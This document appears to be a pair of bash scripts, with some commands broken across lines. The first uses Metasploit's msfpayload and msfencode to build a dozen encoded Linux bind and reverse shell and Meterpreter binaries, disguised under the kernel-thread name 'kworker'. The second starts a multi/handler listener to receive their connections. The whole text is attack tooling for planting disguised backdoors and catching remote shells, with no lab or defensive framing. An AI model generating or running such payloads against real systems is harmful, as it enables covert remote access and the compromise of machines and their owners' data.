echo "Generating elf files....." 

#1 
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msfpayload linux/x86/shell/bind_nonx_tcp LPORT=$PORT R | 

msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell/bind_nonx_tcp $PORT (RHOST!)" > handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

#2 

msfpayload linux/x86/shell/bind_tcp LPORT=$PORT R | msfencode -e 

x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell/bind_tcp $PORT (RHOST!)" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

#3 

msfpayload linux/x86/shell_bind_tcp LPORT=$PORT R | msfencode -e 

x86/shikata_ga_nai -c 3 -t elf > kworker$num 

PORT=$[$PORT+1] 

num=$[$num+1] 

#4 

msfpayload linux/x86/shell/reverse_nonx_tcp LHOST=$IP LPORT=$PORT 

R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell/reverse_nonx_tcp $PORT" >> handlers  

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#5 payload/linux/x86/shell/reverse_tcp 

msfpayload linux/x86/shell/reverse_tcp LHOST=$IP LPORT=$PORT R | 

msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell/reverse_tcp $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#6 payload/linux/x86/shell_reverse_tcp 

msfpayload linux/x86/shell_reverse_tcp LHOST=$IP LPORT=$PORT R | 

msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell_reverse_tcp $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#7 payload/linux/x86/shell_reverse_tcp2  

msfpayload linux/x86/shell_reverse_tcp2 LHOST=$IP LPORT=$PORT R | 

msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/shell_reverse_tcp2 $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#8 payload/cmd/unix/reverse_bash (does not work on Debian based 

distros) 

msfpayload cmd/unix/reverse_bash LHOST=$IP LPORT=$PORT R | 

msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 
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echo "cmd/unix/reverse_bash $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#9 payload/linux/x86/meterpreter/bind_tcp 

msfpayload linux/x86/meterpreter/bind_tcp LHOST=$IP LPORT=$PORT R 

| msfencode -e x86/shikata_ga_nai -c 3 -t elf > kworker$num 

echo "linux/x86/meterpreter/bind_tcp $PORT (RHOST!)" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

#10 payload/linux/x86/meterpreter/bind_nonx_tcp 

msfpayload linux/x86/meterpreter/bind_nonx_tcp LHOST=$IP 

LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 

kworker$num 

echo "linux/x86/meterpreter/bind_nonx_tcp $PORT (RHOST!)" >> 

handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

#11 payload/linux/x86/meterpreter/reverse_tcp 

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=$IP 

LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 

kworker$num 

echo "linux/x86/meterpreter/reverse_tcp $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

#12 payload/linux/x86/meterpreter/reverse_nonx_tcp 

msfpayload linux/x86/meterpreter/reverse_nonx_tcp LHOST=$IP 

LPORT=$PORT R | msfencode -e x86/shikata_ga_nai -c 3 -t elf > 

kworker$num 

echo "linux/x86/meterpreter/reverse_nonx_tcp $PORT" >> handlers 

PORT=$[$PORT+1] 

num=$[$num+1] 

 

 

 

echo "kworker binaries generated..." 

chmod 731 kworker* 

ls -la kworker* 
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Exploit Handler script: 

#! /bin/bash 

clear 

echo "****************************************************" 

echo "*      METASPLOIT LINUX MULTIHANDLER LISTENER       *" 

echo "****************************************************" 

echo "Network devices available:" 

cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' 

echo -e "Which interface: \c" 

read INT 

echo -e "Select listening port (use in Payload creation) ?  \c" 

read PORT 

echo - "Enter Payload Info: (linux/x86/shell/reverse_nonx_tcp) 

\c" 

read PAYLOAD 

echo - "Enter Remote Info: (for bind staged exploits) \c" 

read RIP 

#read IP(just two cases test1 and test2) 

#Get OS type (Linux/etc)  

OS=`uname` 

IO='' #store IP 

case $OS in 

 Linux) IP=`/sbin/ifconfig $INT | grep 'inet addr:' | grep -

v '127.0.0.1' | cut -d: -f2 | awk '{ print $1 }'`;; 

 *) IP="Unknown";; 

esac 

#enter local or remote IP for handler? 

 

echo "Starting Listener....." 

msfcli exploit/multi/handler PAYLOAD=$PAYLOAD LHOST=$IP 

LPORT=$PORT E 

 

#for staged bind 

#msfcli exploit/multi/handler PAYLOAD=$PAYLOAD RHOST=$RIP 

LPORT=$PORT E 
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